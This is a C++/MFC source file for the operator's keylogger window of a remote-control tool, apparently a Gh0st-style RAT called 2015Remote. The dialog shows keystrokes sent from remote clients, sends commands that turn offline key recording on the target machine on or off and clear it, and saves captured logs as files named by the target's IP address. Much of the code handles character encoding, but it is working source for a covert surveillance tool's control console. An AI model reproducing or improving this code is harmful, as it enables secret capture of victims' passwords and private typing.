// KeyBoardDlg.cpp : implementation file // #include "stdafx.h" #include #include #include "KeyBoardDlg.h" #include "2015RemoteDlg.h" // GetClientEncoding helper #ifdef _DEBUG #define new DEBUG_NEW #undef THIS_FILE static char THIS_FILE[] = __FILE__; #endif #define IDM_ENABLE_OFFLINE 0x0010 #define IDM_CLEAR_RECORD 0x0011 #define IDM_SAVE_RECORD 0x0012 ///////////////////////////////////////////////////////////////////////////// // CKeyBoardDlg dialog CKeyBoardDlg::CKeyBoardDlg(CWnd* pParent, Server* pIOCPServer, ClientContext *pContext) : DialogBase(CKeyBoardDlg::IDD, pParent, pIOCPServer, pContext, IDI_KEYBOARD) { m_bIsOfflineRecord = m_ContextObject->m_DeCompressionBuffer.GetBYTE(1); // 子连接从协议扩展字段(byte 2-3)拿到能力位,写入自身的 CAPABILITIES。 // 这样 m_ContextObject->SupportsUtf8() 可直接生效,不再依赖 IP 反查主连接。 // 老客户端只发 2 字节,GetBYTE 越界返回 0,等同 caps=0 -> 走 CP936 兜底,向后兼容。 WORD caps = m_ContextObject->m_DeCompressionBuffer.GetBYTE(2) | (m_ContextObject->m_DeCompressionBuffer.GetBYTE(3) << 8); if (caps != 0) { CString capStr; capStr.Format(_T("%04X"), caps); m_ContextObject->SetClientData(ONLINELIST_CAPABILITIES, capStr); } } void CKeyBoardDlg::DoDataExchange(CDataExchange* pDX) { __super::DoDataExchange(pDX); //{{AFX_DATA_MAP(CKeyBoardDlg) DDX_Control(pDX, IDC_EDIT, m_edit); //}}AFX_DATA_MAP } BEGIN_MESSAGE_MAP(CKeyBoardDlg, CDialog) //{{AFX_MSG_MAP(CKeyBoardDlg) ON_WM_SIZE() ON_WM_CLOSE() ON_WM_SYSCOMMAND() //}}AFX_MSG_MAP END_MESSAGE_MAP() ///////////////////////////////////////////////////////////////////////////// // CKeyBoardDlg message handlers void CKeyBoardDlg::PostNcDestroy() { // TODO: Add your specialized code here and/or call the base class __super::PostNcDestroy(); } BOOL CKeyBoardDlg::OnInitDialog() { __super::OnInitDialog(); // TODO: Add extra initialization here SetIcon(m_hIcon, TRUE); // Set big icon SetIcon(m_hIcon, FALSE); // Set small icon CMenu* pSysMenu = GetSystemMenu(FALSE); if (pSysMenu != NULL) { //pSysMenu->DeleteMenu(SC_TASKLIST, MF_BYCOMMAND); pSysMenu->AppendMenuSeparator(MF_SEPARATOR); pSysMenu->AppendMenuL(MF_STRING, IDM_ENABLE_OFFLINE, "离线记录(&O)"); pSysMenu->AppendMenuL(MF_STRING, IDM_CLEAR_RECORD, "清空记录(&C)"); pSysMenu->AppendMenuL(MF_STRING, IDM_SAVE_RECORD, "保存记录(&S)"); if (m_bIsOfflineRecord) pSysMenu->CheckMenuItem(IDM_ENABLE_OFFLINE, MF_CHECKED); } UpdateTitle(); // ----------------------------------------------------------------- // 把 m_edit 重建为 Unicode 类窗口。 // 工程是 MBCS,MFC 默认用 A 版 CreateWindowEx 创建子控件,导致即便 // 调 SendMessageW(EM_REPLACESEL,...) 系统也会在 W->A 边界用 CP_ACP // 转码,德语机器上中文窗口标题仍会乱码。直接用 CreateWindowExW 重建 // 后,控件内部以 Unicode 存储,W 版消息直通,不再走 CP_ACP。 // ----------------------------------------------------------------- { CRect rc; m_edit.GetWindowRect(&rc); ScreenToClient(&rc); DWORD style = m_edit.GetStyle(); DWORD exStyle = m_edit.GetExStyle(); HFONT hFont = (HFONT)m_edit.SendMessage(WM_GETFONT, 0, 0); UINT ctrlID = m_edit.GetDlgCtrlID(); m_edit.DestroyWindow(); HWND hEdit = ::CreateWindowExW( exStyle, L"EDIT", L"", style, rc.left, rc.top, rc.Width(), rc.Height(), this->GetSafeHwnd(), (HMENU)(UINT_PTR)ctrlID, AfxGetInstanceHandle(), NULL); m_edit.Attach(hEdit); if (hFont) m_edit.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0)); } m_edit.SetLimitText(MAXDWORD); // 设置最大长度 // 通知远程控制端对话框已经打开 BYTE bToken = COMMAND_NEXT; m_ContextObject->Send2Client(&bToken, sizeof(BYTE)); return TRUE; // return TRUE unless you set the focus to a control // EXCEPTION: OCX Property Pages should return FALSE } void CKeyBoardDlg::UpdateTitle() { CString str; str.FormatL("%s - 键盘记录", m_IPAddress); if (m_bIsOfflineRecord) str += _TR(" (离线记录已开启)"); else str += _TR(" (离线记录未开启)"); SetWindowText(str); } void CKeyBoardDlg::OnReceiveComplete() { switch (m_ContextObject->m_DeCompressionBuffer.GetBuffer(0)[0]) { case TOKEN_KEYBOARD_DATA: AddKeyBoardData(); break; default: return; } } void CKeyBoardDlg::AddKeyBoardData() { // 最后填上0 m_ContextObject->m_DeCompressionBuffer.Write((LPBYTE)"", 1); const char* utf8 = (const char*)m_ContextObject->m_DeCompressionBuffer.GetBuffer(1); if (!utf8 || !utf8[0]) return; // 客户端编码由能力位 CLIENT_CAP_UTF8 决定。 // 注意:m_ContextObject 是键盘记录子连接,其自身 CAPABILITIES 为空; // helper 内部通过 peer IP 查主连接获取真正的能力位。 UINT cp = GetClientEncoding(m_ContextObject); int wlen = MultiByteToWideChar(cp, 0, utf8, -1, NULL, 0); if (wlen <= 1) return; std::wstring wbuf(wlen - 1, L'\0'); MultiByteToWideChar(cp, 0, utf8, -1, &wbuf[0], wlen); // 全程走 W 版消息直通 Unicode 控件。注意几个坑: // 1) MFC 的 m_edit.SetSel(...) 默认走 ::SendMessage (A 版) 并紧跟一次 // EM_SCROLLCARET,时序变成 "SetSel→ScrollCaret→ReplaceSel",即 // 先滚到旧末尾、再插入,部分场景控件状态会错乱(光标不在末尾、 // 用户手动移动光标后插入位置不对等)。 // 2) EM_SETSEL 用 0x7FFFFFFF 表示"末尾",由控件自行 clamp 到当前长度, // 不依赖 WM_GETTEXTLENGTH 计算结果。 // 3) ReplaceSel 后再 ScrollCaret,确保滚到 *新* 末尾。 HWND hEdit = m_edit.GetSafeHwnd(); if (!hEdit) return; ::SendMessageW(hEdit, EM_SETSEL, (WPARAM)0x7FFFFFFF, (LPARAM)0x7FFFFFFF); ::SendMessageW(hEdit, EM_REPLACESEL, FALSE, (LPARAM)wbuf.c_str()); ::SendMessageW(hEdit, EM_SCROLLCARET, 0, 0); } bool CKeyBoardDlg::SaveRecord() { CString strFileName = m_IPAddress + CTime::GetCurrentTime().FormatL("_%Y-%m-%d_%H-%M-%S.txt"); CFileDialog dlg(FALSE, "txt", strFileName, OFN_OVERWRITEPROMPT, _T("TXT(*.txt)|*.txt|"), this); if(dlg.DoModal () != IDOK) return false; CFile file; if (!file.Open( dlg.GetPathName(), CFile::modeWrite | CFile::modeCreate)) { CString msg; msg.FormatL("文件保存失败: %s", dlg.GetPathName().GetString()); MessageBox(msg, _TR("提示"), MB_ICONINFORMATION); return false; } // m_edit 已是 Unicode 控件:用 W 版取宽字符串,转 UTF-8 写入并加 BOM。 // 这样保存的文件无视服务端 ACP,记事本/VS Code 等都能自动识别。 int wlen = ::GetWindowTextLengthW(m_edit.GetSafeHwnd()); std::wstring wbuf; if (wlen > 0) { wbuf.resize(wlen); ::GetWindowTextW(m_edit.GetSafeHwnd(), &wbuf[0], wlen + 1); } // UTF-8 BOM const BYTE bom[3] = { 0xEF, 0xBB, 0xBF }; file.Write(bom, 3); if (!wbuf.empty()) { int u8len = WideCharToMultiByte(CP_UTF8, 0, wbuf.c_str(), wlen, NULL, 0, NULL, NULL); if (u8len > 0) { std::string u8(u8len, '\0'); WideCharToMultiByte(CP_UTF8, 0, wbuf.c_str(), wlen, &u8[0], u8len, NULL, NULL); file.Write(u8.data(), (UINT)u8.size()); } } file.Close(); return true; } void CKeyBoardDlg::OnSysCommand(UINT nID, LPARAM lParam) { if (nID == IDM_ENABLE_OFFLINE) { CMenu* pSysMenu = GetSystemMenu(FALSE); if (pSysMenu != NULL) { m_bIsOfflineRecord = !m_bIsOfflineRecord; BYTE bToken[] = { COMMAND_KEYBOARD_OFFLINE, m_bIsOfflineRecord }; m_ContextObject->Send2Client(bToken, sizeof(bToken)); if (m_bIsOfflineRecord) pSysMenu->CheckMenuItem(IDM_ENABLE_OFFLINE, MF_CHECKED); else pSysMenu->CheckMenuItem(IDM_ENABLE_OFFLINE, MF_UNCHECKED); } UpdateTitle(); } else if (nID == IDM_CLEAR_RECORD) { BYTE bToken = COMMAND_KEYBOARD_CLEAR; m_ContextObject->Send2Client(&bToken, 1); // m_edit 是 Unicode 类控件,调 W 版避免 CP_ACP 边界转换 ::SetWindowTextW(m_edit.GetSafeHwnd(), L""); } else if (nID == IDM_SAVE_RECORD) { SaveRecord(); } else { __super::OnSysCommand(nID, lParam); } } void CKeyBoardDlg::ResizeEdit() { RECT rectClient; RECT rectEdit; GetClientRect(&rectClient); rectEdit.left = 0; rectEdit.top = 0; rectEdit.right = rectClient.right; rectEdit.bottom = rectClient.bottom; m_edit.MoveWindow(&rectEdit); } void CKeyBoardDlg::OnSize(UINT nType, int cx, int cy) { __super::OnSize(nType, cx, cy); // TODO: Add your message handler code here if (IsWindowVisible()) ResizeEdit(); } BOOL CKeyBoardDlg::PreTranslateMessage(MSG* pMsg) { // TODO: Add your specialized code here and/or call the base class if (pMsg->message == WM_KEYDOWN && (pMsg->wParam == VK_RETURN || pMsg->wParam == VK_ESCAPE)) { return true; } return __super::PreTranslateMessage(pMsg); } void CKeyBoardDlg::OnClose() { CancelIO(); // 等待数据处理完毕 if (IsProcessing()) { ShowWindow(SW_HIDE); return; } DialogBase::OnClose(); }